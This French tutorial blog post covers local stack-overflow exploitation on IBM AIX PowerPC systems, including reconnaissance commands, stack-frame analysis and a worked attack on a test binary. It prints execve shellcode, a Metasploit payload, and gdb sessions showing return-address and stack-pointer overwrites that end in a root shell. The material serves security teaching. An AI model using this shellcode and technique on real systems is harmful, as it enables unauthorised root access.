AIX [0], de son vrai nom Advanced Interactive eXecutive, est un UNIX propriétaire conçu par IBM qui tourne sur les processeurs de type PowerPC. La présence de ce type de machine sur le réseau local est bien souvent du pain béni pour le pentester. Outre les mauvaises pratiques récurrentes classiques telles que l'absence de fermeture et filtrage de services ou encore le laisser aller au niveau de l'application des patchs de sécurité, l'OS en lui-même est relativement rustique sur le plan sécurité.
Contrairement à ses petits cousins du monde libre (Linux, *BSD), AIX a peu fait l'objet d'évolutions au cours du temps. Il est aujourd'hui l'un des rares UNIX vraiment utilisés pour lequel on voit encore passer des CVE concernant des stack overflow en ligne de commande dans les binaires suid [1].
Ce billet traite de l'exploitation de stack overflow sous AIX 5.x et antérieur, la version 6.x introduisant une protection contre l'exécution qui fera l'objet d'un article dédié. La plupart des papiers traitant de ce sujet sont relativement anciens et se focalisent essentiellement sur l'écriture de shellcodes[2][3] donc peu sur l'aspect pratique. Les aspects traités dans ce billet sont donc les suivants :
- Les outils et commandes utiles au pentester
- Les rappels basiques d'assembleur PowerPC
- L'étude de l'évolution de la stack
- Les différents scénarios d'exploitation
La trousse à outils du pentester
Il y a quelques petites choses à connaître pour se faciliter la vie sur un système AIX. La plupart des commandes ci-dessous ne nécessitent pas de compte privilégié pour être exécutées.
1. Reconnaitre le processeur
La commande "lscfg" fournit beaucoup d'information utile. Voyons comment l'utiliser pour retrouver la version du processeur :
On commence par chercher la device associée au processeur :
-bash-3.2$ lscfg
LISTE DES RESSOURCES INSTALLEES
[..]
+ sys0 Objet système
[...]
+ proc1 U0.1-P1 Processeur
Ensuite, on interroge le système sur la device en question.
-bash-3.2$ lscfg -p -l proc1
proc1 U0.1-P1 Processeur
SPECIFIQUE PLATEFORME
Nom : PowerPC,POWER4
Noeud : PowerPC,POWER4@1
Type d'unité : cpu
Emplacement physique : U0.1-P1
C'est donc ici un PowerPC 4.
Une autre commande possible est la suivante :
-bash-3.2$ prtconf
Modèle de système : IBM,9114-275
Numéro de série de la machine : 656C02D
Type de processeur : PowerPC_POWER4
Nombre de processeurs : 1
Fréquence d'horloge du processeur : 1452 MHz
Type d'UC : 64-bit
Type Kernel : 64-bit
Infos LPAR : 1 NULL
Taille de mémoire : 4096 MB
Taille de mémoire appropriée : 4096 MB
Niveau du microprogramme de la plateforme : 3F050502
Version du microprogramme : IBM,RG050405_d79e05_r
Connexion à la console : enable
Redémarrage automatique : true
Fichier core complet : false
Et on obtient bien le même résultat.
2. Connaitre la version exacte de l'OS
Contrairement aux autres Unix, "uname" n'est pas ce qu'il y a de mieux.
On lui préfère oslevel qui est beaucoup plus précis :
-bash-3.2$ uname -a
AIX AIXX 1 6 0056C02D4C00
-bash-3.2$ oslevel -s
6100-00-11-0943
-bash-3.2$
Cela permet de savoir quels patchs ont pu être installés sur le système. Nous verrons plus bas que c'est absolument indispensable pour les shellcodes.
3. Savoir si les protections mémoire sont en place
Depuis AIX 6.X il est possible d'interdire l'exécution dans certaines zones mémoires. Pour déterminer si de tels mécanismes sont en place, une solution simple consiste à compiler un exécutable de test qui tente d'exécuter du code sur la pile par exemple. Si le processus reçoit un SIGILL c'est que la mémoire est protégée. Il y a néanmoins plus intelligent et plus propre :
L'outil "sedmgr" permet à l'administrateur d'activer/désactiver les protections mémoire au niveau système ou plus finement au niveau des processus en modifiant un flag dans les binaires correspondants. L'exemple ci-dessous l'illustre :
bash-3.2$ sedmgr
Mode SED (Stack Execution Disable) : all
SED configuré dans le noyau : all
bash-3.2$
Dans le cas présent les protections sont en place. Elles sont par défaut appliquées à tous les exécutables, mais il est possible de définir une exception par le biais de l'insertion d'un tag dans le header COFF.
-bash-3.2$ sedmgr -d vuln
vuln : system -bash-3.2$ ./sploit_lr.pl
Illegal instruction (core dumped)
Le processus est soumis aux règles du système. On peut choisir d'autoriser la pile en exécution pour ce processus :
-bash-3.2$ sedmgr -c exempt vuln
-bash-3.2$ sedmgr -d vuln vuln : exempt
-bash-3.2$ ./sploit_lr.pl
$
Bingo!
4. Manipuler les binaires
Les exécutables AIX sont au format XCOFF[4]. Pour les analyser il faut donc des outils spécifiques. Fort heureusement, les binutils sont disponibles librement sous forme de RPM à l'adresse[5]. Grâce à objdump qui permet de lire le XCOFF, on peut ainsi obtenir des informations utiles sur un binaire ou le désassembler.
Pour obtenir les infos de mapping du binaire :
-bash-3.2$ objdump -h ./shellcode
./shellcode: format de fichier aixcoff-rs6000
Sections:
Idx Nom Taille VMA LMA Fich off Algn
0 .text 00007ddb 0000000010000128 0000000010000128 00000128 2**5
CONTENTS, ALLOC, LOAD, RELOC, CODE
1 .data 0000093d 0000000020000f03 0000000020000f03 00007f03 2**3
CONTENTS, ALLOC, LOAD, RELOC, DATA
2 .bss 000000c0 0000000020001840 0000000020001840 00000000 2**3
ALLOC
3 .loader 000007b0 0000000000000000 0000000000000000 00008840 2**3
Remarque : Il n'y a pas d'ASLR sous AIX.
On peut également obtenir les différents symboles, ce qui aide au reverse engineering :
-bash-3.2$ objdump -t ./shellcode
./shellcode: format de fichier aixcoff-rs6000
SYMBOL TABLE:
[ 0](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x0000e008 ___memset
AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0
[ 2](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x0000e008 .___memset
AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0
[ 4](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x0000f000 ___memmove
AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0
[ 6](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x0000f000 .___memmove
AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 7 stb 0 snstb 0
[ 8](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x00000000 errno
AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 5 stb 0 snstb 0
[10](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x00000000 malloc
AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 10 stb 0 snstb 0
[12](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x00000000 free
AUX val 0 prmhsh 0 snhsh 0 typ 0 algn 0 clss 10 stb 0 snstb 0
[14](sec 0)(fl 0x00)(ty 0)(scl 2) (nx 1) 0x00000000 exit
[...]
5. Debugging
Il y a principalement deux outils :
- gdb (externe) qu'on ne présente plus.
- truss (natif) que les adeptes de solaris reconnaitront.
Ce dernier outil est un équivalent de strace sous Linux et permet donc de déterminer les appels système effectués par un processus donné.
-bash-3.2$ truss ./vuln AAAA
execve("./vuln", 0x2FF22D58, 0x200121E8) argc: 2
__loadx(0x0A040000, 0xD03D9144, 0x0000000A, 0x200008A8, 0x200000E3) = 0x00000000
_sigaction(2, 0x2FF22BC0, 0x2FF22BD0) = 0
_sigaction(3, 0x2FF22BC0, 0x2FF22BE0) = 0
sigprocmask(0, 0x2FF22BC4, 0x2FF22BB8) = 0
_sigaction(20, 0x2FF22BC0, 0x2FF22BF0) = 0
kfork() = 295082
kwaitpid(0x2FF22BB0, 295082, 4, 0x00000000, 0x00000000) = 295082
_sigaction(2, 0x2FF22BD0, 0x00000000) = 0
_sigaction(3, 0x2FF22BE0, 0x00000000) = 0
_sigaction(20, 0x2FF22BF0, 0x00000000) = 0
sigprocmask(2, 0x2FF22BB8, 0x00000000) = 0
kfcntl(1, F_GETFL, 0x20000864) = 2
kfcntl(2, F_GETFL, 0x00000000) = 2
_exit(0)
6. Exploitation
Pour l'intrusion à distance, le pentester trouvera deux exploits remote pour bon nombre de versions d'AIX dans metasploit[5] comme dans CANVAS[6]. Il est également à noter que le pack D2[7] fournit quelques exploits locaux. Nombre d'exploits plus ou moins aboutis sont par ailleurs disponibles sur la toile, une petite recherche sur google suffit à en dénicher quelques-uns.
Petite introduction à l'assembleur PowerPC
Cette petite introduction vise à comprendre les rudiments nécessaires à l'exploitation d'un programme.Pour plus de détails, le lecteur est encouragé à lire [8][9][12].
1. Les principaux registres
Voici les registres que nous seront susceptibles de manipuler :
PC : Compteur de programme ; Adresse la prochaine instruction à exécuter
LR : Link Register ; Permet de sauvegarder le PC
R0 : Registre général ; Usage particulier tel que le transfert de LR
R1 : Stack pointer
R31 : Sauvegarde de stack pointer
R3,R4,... : Registres généraux ; Usage courant (arithmétique, manipulation de la mémoire, etc.)
2. Les appels de fonction
Les arguments sont placés dans r3,r4,r5, etc.
Par exemple, le code assembleur ci-dessous permet l'appel à func(1,2,3,4,5,6) :
10000510: 38 60 00 01 lil r3,1
10000514: 38 80 00 02 lil r4,2
10000518: 38 a0 00 03 lil r5,3
1000051c: 38 c0 00 04 lil r6,4
10000520: 38 e0 00 05 lil r7,5
10000524: 39 00 00 06 lil r8,6
10000528: 4b ff ff 11 bl 10000438 <.func>
L'instruction "lil" permet de placer un entier dans un registre et bl est une instruction de branchement (de saut). L'instruction "BL" se distingue de "B" par l'utilisation du registre LR. Contrairement à l'assembleur x86, l'adresse de retour n'est pas placée sur la pile par l'instruction de branchement. En fait, "BL @dst" est équivalent à "LR <- @ret" + "jmp @dst".
Remarque : Le cas des fonctions avec un nombre d'arguments variable ou "important" est passé sous silence dans ce billet.
3. Les syscalls
Pour utiliser un appel système sous AIX, il faut spécifier le numéro du syscall, ses arguments et déclencher la trappe.
Plus précisément, on doit avoir un schéma de ce type :
r2 <-- numéro de syscall
r3,r4,r5,etc. <-- arguments 1,2,3,etc.
svca <-- instruction pour invoquer l'appel système
Le gros problème des appels système sous AIX est qu'ils sont extrêmement dépendants de la version d'AIX.
On voit donc bien l'intérêt de la commande oslevel décrite plus haut.
Voici un exemple de shellcode PPC pour AIX 6.1 qui appelle execve() :
-bash-3.2# oslevel
6.1.0.0
-bash-3.2# ./shellcode
# exit
-bash-3.2# cat shellcode.c
/* shellcode.c
* ripped from lsd
*/
char shellcode[] = /* 12*4+8 bytes */
"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ [L1]
"\x40\x82\xff\xfd" /* bnel <shellcode> */ [L2]
"\x7f\xe8\x02\xa6" /* mflr r31 */ [L3]
"\x3b\xff\x01\x20" /* cal r31,288(r31) */ [L4]
"\x38\x7f\xff\x08" /* cal r3,-248(r31) */
"\x38\x9f\xff\x10" /* cal r4,-240(r31) */
"\x90\x7f\xff\x10" /* st r3,-240(r31) */
"\x90\xbf\xff\x14" /* st r5,-236(r31) */
"\x88\x5f\xff\x0f" /* lbz r2,-241(r31) */
"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */ [L10]
"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ [L11]
"\x44\xff\xff\x02" /* svca */ [L12]
"/bin/sh"
"\x06";
;
int main(void)
{
char burp[256];
// On veut etre sur d'etre en stack
memcpy(burp, shellcode, sizeof(shellcode));
int jump[2]={(int)burp,0};
((*(void (*)())jump)());
}
C'est assez classique et largement traité dans la littérature consacrée ([3],[4]). On retiendra dans les grandes lignes les points suivants :
- L1 à L3 : Obtention de l'adresse de [L3] dans LR puis dans R31 (équivalent de l'astuce du call/pop/jmp version PowerPC).
- L4 à L10 : Initialisation des registres en prévision de l'appel système et préparation de la stack pour execve()
- L11 à L12 : Invocation de l'appel système. L'opcode de svca est modifié pour éviter les null bytes. Puisque le premier octet est réservé, mettre les octets intermédiaires 2 et 3 à 0xFF ne changera pas l'interprétation de l'opcode par le processeur.
Remarque : Le dernier octet du shellcode code le numéro de l'appel système. Comme ce shellcode le modifie, il doit être placé dans une zone mémoire accessible en écriture.
4. L'organisation de la stack
Pour bien comprendre les possibilités offertes à l'attaquant, il est important de comprendre les interactions entre registres et piles.
Voici un prologue classique de main() (on rappelle que _start() appelle main()).
0x100004e0 <main+0>: mflr r0 ; R0 <- LR (@ret_main)
0x100004e4 <main+4>: stw r31,-4(r1) ; [R1-4] = R31_start
0x100004e8 <main+8>: stw r0,8(r1) ; [R1+8] = R0 = @ret_main
0x100004ec <main+12>: stwu r1,-96(r1) ; [R1-96] = R1_start ET R1_main = R1_start - 96
0x100004f0 <main+16>: mr r31,r1 ; R31_main <- R1_main
[...]
0x10000504 <main+36>: bl 0x10000478 <f1> ; LR = @ret_f1 = 0x10000508 + jmp @f1
[...]
Le prologue la fonction f1() est très similaire :
0x10000478 <f1+0>: mflr r0 ; R0 <- LR (@ret_f1)
0x1000047c <f1+4>: stw r31,-4(r1) ; [R1-4] = R31_main
0x10000480 <f1+8>: stw r0,8(r1) ; [R1+8] = R0 = @ret_f1
0x10000484 <f1+12>: stwu r1,-80(r1) ; [R1-80] = R1_main ET R1_f1 = R1_main - 80
0x10000488 <f1+16>: mr r31,r1 ; R31_func <- R1_f1
On constate donc que 3 métadonnées sont placées sur la pile :
- L'adresse de retour de la fonction (ici @ret_main)
- Une sauvegarde du R31 de la fonction appelante (ici R31_main)
- Une sauvegarde du R1 de la fonction appelante (ici R1_main)
Si on imagine l'enchainement des fonctions main(), f1(), f2() alors après le prologue de f2() on aura le schéma de stack suivant :
[ ?? ]
[ ?? ]
[ ret_start ] +8
[ ?? ]
R1_start:[ ?? ] 0 <-- début stack frame 1
[ R1_start ] -4
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ret_main ] +8
[ ?? ]
R1_main: [ R1_start ] 0 <-- début stack frame 2
[ R31_main ] -4
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ret_F1 ] +8
[ ?? ]
R1_F1: [ R1_main ] 0
[ R31_F1 ] -4
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
R1_F2: [ R1_F1 ] <-- R1, R31 (début stack frame 3)
[ ?? ]
Remarque : A l'exception du main(), R1=R31 pour toutes les fonctions.
L'épilogue de la fonction permet de comprendre quelles données sont susceptibles d'être manipulées par l'attaquant :
0x100004b0 <func+56>: lwz r1,0(r1) ; NEW_R1 = [R1_FUNC]
0x100004b4 <func+60>: lwz r0,8(r1) ; NEW_R0 = [NEW_R1+8]
0x100004b8 <func+64>: mtlr r0 ; LR = NEW_R0 = @ret_func
0x100004bc <func+68>: lwz r31,-4(r1) ; NEW_R31 = [NEW_R1-4]
0x100004c0 <func+72>: blr ; jmp @ret
Distinguons le cas de l'overflow (courant), de celui de l'underflow (marginal mais pas seulement théorique).
5. Le cas de l'overflow
En cas d'overflow dans la fonction f2(), on aura la situation suivante :
[ ?? ]
[ XXXXXXXXX ]
[ XXXXXXXXX ]
[ XXXXXXXXX ] +8
[ XXXXXXXXX ]
R1_F1: [ XXXXXXXXX ] 0
[ XXXXXXXXX ] -4
[ XXXXXXXXX ]
[ XXXXXXXXX ]
[ XXXXXXXXX ]
[ XXXXXXXXX ]
[ XXXXXXXXX ] <-- Adresse du buffer de l'overflow
[ ?? ]
[ ?? ]
R1_F2: [ R1_F1 ] <-- R1, R31 (début stack frame 3)
Il en résulte que l'attaquant contrôle directement :
- NEW_R0 donc LR donc l'adresse de retour de la fonction f1().
- NEW_R31 qui pourrait potentiellement induire un contrôle de l'adresse de la stack frame de la fonction appelante.
L'exploitation du premier est immédiate puisque le contrôle de LR implique le contrôle de l'adresse de retour de la fonction. Il suffit donc d'y mettre l'adresse de notre shellcode pour le faire exécuter lors du retour dans le main. Ce premier scénario est démontré plus bas.
Exploiter le second est en revanche beaucoup plus délicat voire parfois impossible. Pour le comprendre, il suffit de regarder l'utilisation du registre R31 dans la fonction appelante après épilogue de la fonction vulnérable. La plupart du temps, la seule opération faite sur ce registre est une opération en écriture (modification du contenu) qui annule le contrôle de l'attaquant. Il arrive cependant dans certains programmes que le contrôle de ce registre lui confère un avantage :
Le code ci-dessous tiré d'un binaire AIX 6.X est un bon exemple :
0x100022f0: ori r3,r26,0
0x100022f4: ori r4,r31,0
0x100022f8: addi r5,r30,1044
0x100022fc: bl 0x10004ff0
Il est ici clair que que le contrôle de R31 induit le contrôle total de R4, deuxième paramètre de la fonction 0x10004ff0. Il reste à savoir si l'exploitation de ce paramètre est suffisante pour prendre le contrôle du programme. En cas d'overflow limité n'atteignant pas la sauvegarde de LR, ce peut être une bonne option pour l'attaquant.
Il existe un troisième paramètre, moins visible au premier abord mais qui induit le contrôle du registre LR. L'overflow permet en effet de contrôler la valeur de R1_main. Autrement dit lors de l'épilogue de F1, R1 sera restauré avec une valeur contrôlée par l'attaquant.
Or on sait que l'épilogue de f1() est :
0x10000484 <f1+28>: lwz r1,0(r1)
0x10000488 <f1+32>: lwz r0,8(r1) [L2]
0x1000048c <f1+36>: mtlr r0 [L3]
0x10000490 <f1+40>: lwz r31,-4(r1)
0x10000494 <f1+44>: blr
Il en résulte (Cf. L2) que R0 est directement contrôlé par l'attaquant et par conséquent LR (Cf. L3). Ce troisième scénario constitue une deuxième alternative (nettement plus intéressante) à la prise de contrôle directe de LR en cas d'overflow partiel.
Attention néanmoins quelques précautions doivent être prises ! L'écrasement de R1_main implique en effet l'écrasement de R31_F1. Si une donnée est déréférencée à partir de R31_F1 (deuxième cas évoqué plus haut) avant d'atteindre l'épilogue du main alors le programme est susceptible de crasher. L'exemple ci-dessous le prouve :
0x1000054c <main+76>: bl 0x10000490 <vuln>
0x10000550 <main+80>: lwz r0,56(r31) [L1]
0x10000554 <main+84>: cmpwi cr7,r0,2 [L2]
0x10000558 <main+88>: bne- cr7,0x10000564 <main+100>
0x1000055c <main+92>: lwz r3,84(r2)
0x10000560 <main+96>: bl 0x10000438 <call_libc>
0x10000564 <main+100>: li r0,0 [L3]
0x10000568 <main+104>: mr r3,r0
0x1000056c <main+108>: lwz r1,0(r1)
0x10000570 <main+112>: lwz r0,8(r1)
0x10000574 <main+116>: mtlr r0
0x10000578 <main+120>: lwz r31,-4(r1)
0x1000057c <main+124>: blr
Dans cette situation, au retour de vuln() en L1, si R31 contient une adresse invalide, le programme plante. Le contenu de ce registre doit dépendre du contexte. Dans le cas présent il suffit de mettre une adresse de pile pointant sur une valeur différente de 2 (cf comparaison en L2) pour continuer l'exécution sur L3 en ainsi continuer sur l'épilogue du main().
Remarque : Cette dernière technique est le pendant PowerPC de l'écrasement du frame pointer ([10],[11]) sous x86.
6. Le cas amusant de l'underflow
En cas d'underflow dans ce même buffer, on aura la situation suivante :
[ ?? ]
[ ret_F1 ] +8
[ ?? ]
R1_F1: [ R1_main ] 0
[ R1_F1 ] -4
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ] <-- Adresse du buffer de l'overflow
[ XXXXXXXXX ]
[ XXXXXXXXX ]
R1_F2: [ XXXXXXXXX ] <-- R1, R31 (début stack frame 3)
[ XXXXXXXXX ]
[...]
Ici l'attaquant contrôle R1_F1 donc indirectement NEW_R1, NEW_R0, NEW_R31 et surtout LR. Autrement dit un stack underflow est tout aussi exploitable qu'un stack overflow.
Remarque : Contrairement au x86, le PowerPC est big-endian. Il faut donc généralement écraser la quasi totalité de la sauvegarde de R1_F1 pour être capable de prendre le contrôle du programme.
Analyse d'un programme vulnérable et exploitation
1. On génère le shellcode dans MSF
$ ./msfpayload aix/ppc/shell_interact AIX=6.1.0 P
# aix/ppc/shell_interact - 56 bytes
# http://www.metasploit.com
# AutoRunScript=, InitialAutoRunScript=, AIX=6.1.0
my $buf =
"\x7c\xa5\x2a\x79\x40\x82\xff\xfd\x7f\xe8\x02\xa6\x3b\xff" .
"\x01\x20\x38\x7f\xff\x08\x38\x9f\xff\x10\x90\x7f\xff\x10" .
"\x90\xbf\xff\x14\x88\x5f\xff\x0f\x98\xbf\xff\x0f\x4c\xc6" .
"\x33\x42\x44\xff\xff\x02\x2f\x62\x69\x6e\x2f\x73\x68\x05";
Remarque : Il y a une erreur dans MSF. Typiquement le dernier octet devrait être 6 (num_syscall_execve) pour AIX 6.1 or ici il est visible que le dernier octet est à 5.
2. Voyons voir ce que donne le deadlisting de notre programme vulnérable
main():
(gdb) disass main
Dump of assembler code for function main:
[...]
0x100004ec <main+68>: bl 0x10000438 <vuln>
0x100004f0 <main+72>: li r0,0
[...]
vuln():
(gdb) disass vuln
Dump of assembler code for function vuln:
0x10000438 <vuln+0>: mflr r0
0x1000043c <vuln+4>: stw r31,-4(r1)
0x10000440 <vuln+8>: stw r0,8(r1)
0x10000444 <vuln+12>: stwu r1,-336(r1)
0x10000448 <vuln+16>: mr r31,r1
[...]
0x10000470 <vuln+56>: bl 0x100005ac <memmove>
0x10000474 <vuln+60>: nop
[...]
On choisit de poser un breakpoint sur le nop, apres l'overflow.
(gdb) b *0x10000474
Dans un premier temps, on va remplir notre buffer de façon légitime histoire de repérer les métadonnées intéressantes.
(gdb) r `perl -e 'print "A"x256'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /vuln `perl -e 'print "A"x256'`
Breakpoint 1, 0x10000474 in vuln ()
(gdb) x /100x $r1
0x2ff22a50: 0x2ff22ba0 0x00000000 0x00000000 0x00000000
0x2ff22a60: 0x00000000 0x20000878 0x00000000 0x00000000
0x2ff22a70: 0x00000000 0x2df23000 0x01fffba0 0x00000000
0x2ff22a80: 0x00000000 0xd03d9144 0x41414141 0x41414141
0x2ff22a90: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22aa0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22ab0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22ac0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22ad0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22ae0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22af0: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b00: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b10: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b20: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b30: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b40: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b50: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b60: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b70: 0x41414141 0x41414141 0x41414141 0x41414141
0x2ff22b80: 0x41414141 0x41414141 0xd016c32c 0x00000000
0x2ff22b90: 0x00000000 0xf040d760 0x00000000 0x2ff22ba0
0x2ff22ba0: 0x2ff22bf0 0x00000000 0x100004f0 0x00000000
0x2ff22bb0: 0x00000000 0x00000000 0x2ff22cd6 0x00000000
0x2ff22bc0: 0x00000000 0xdeadbeef 0xdeadbeef 0xdeadbeef
0x2ff22bd0: 0xdeadbeef 0xdeadbeef 0xdeadbeef 0x0000000a
Autrement dit, on a ce qu'on attendait :
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ ?? ]
[ @(main+72) ] <-- adresse de retour de f1()
[ ?? ]
[ R1_main ]
[ R31_F1 ]
[ 0x00000000 ]
[ 0xf040d760 ]
[ 0x00000000 ]
[ 0x00000000 ]
[ 0xd016c32c ] <-- padding + variables locales (20 bytes)
[ 0x41414141 ]
[ 0x41414141 ]
[ ... ]
[ 0x41414141 ]
[ 0x41414141 ] <-- buffer[256]
[ ?? ]
[ ... ]
[ ?? ]
[ R1_main ] <-- R1 = R1_vuln = R31_vuln
Méthode 1 : Ecrasement de @(main+72)
On réalise un overflow de 9*4 octets et on obtient le contrôle de LR.
Testons :
-bash-3.2$ ./sploit.pl
Segmentation fault (core dumped)
-bash-3.2$ gdb ./vuln core
GNU gdb 6.0
This GDB was configured as "powerpc-ibm-aix5.1.0.0"...(no debugging symbols found)...
Core was generated by `vuln'.
Program terminated with signal 11, Segmentation fault.
#0 0x44444444 in ?? ()
(gdb)
Il ne reste plus qu'a faire pointer LR sur l'adresse de notre shellcode en stack.
On refait le test ...
-bash-3.2$ ./sploit_lr.pl
#
Note : Attention à l'alignement des adresses ! Le PC ne doit contenir que des adresses multiples de 4.
Méthode 2: Ecrasement de R1_main
On réalise un overflow de 28 octets et on obtient le contrôle de R1_main (et de R31_F1). On écrase $R1_main avec 0x43434343 et on observe ce qui se passe (on arrête l'overflow là)
-bash-3.2# ./sploit.pl
Segmentation fault (core dumped)
-bash-3.2# gdb ./vuln core
[...]
#0 0x100004fc in main ()
(gdb) x /4i 0x100004fc
0x100004fc <main+84>: lwz r0,8(r1)
0x10000500 <main+88>: mtlr r0
0x10000504 <main+92>: lwz r31,-4(r1)
0x10000508 <main+96>: blr
(gdb) i r $r1
r1 0x43434343 1128481603
(gdb)
On a donc le contrôle de R1 comme on s'y attendait. D'après le listing, on gagne alors successivement le contrôle de R0 puis de LR. Il suffit donc d'écraser R1_main avec l'adresse d'une zone contrôlée (@NEW_STACK) dans lequel on place @SHELLCODE à @NEW_STACK + 8. On obtient alors :
-bash-3.2$ ./sploit_r1.pl
# id
uid=0(root) gid=0(system) groups=2(bin),3(sys),7(security),8(cron),10(audit),11(lp)
Moi non plus je n'aime pas le perl. Mais il est natif sous AIX contrairement à python...

Conclusion
Ce court billet permet d'introduire l'exploitation de stack overflow dans un contexte de mémoire non protégée. Nous verrons dans un prochain article comment exploiter ces mêmes bugs sur un AIX 6.x qui incorpore une protection contre l'exécution sur la stack.
Références
[0] http://www-03.ibm.com/systems/power/software/aix/index.html
[1] http://secunia.com/advisories/37833
[2] PPC shellcode, Palante
[3] PowerPC Stack Attacks, Christopher A Shepherd
[3] http://publib16.boulder.ibm.com/pseries/en_US/files/aixfiles/XCOFF.htm
[4] ftp://ftp.freesoftware.ibm.com/
[5] http://www.metasploit.com
[6] http://www.immunitysec.com/products-canvas.shtml
[7] http://www.d2sec.com
[8] http://pds.twi.tudelft.nl/vakken/in1200/labcourse/instruction-set/
[9] PowerPCTM Microprocessor Family: The Programming Environments for 32-Bit Microprocessors, IBM
[10] The Frame Pointer Overwrite, Klog, Phrack #55
[11] Bypassing PaX ASLR protection, Tyler Durden, Phrack #59
[12] http://www.risesecurity.org/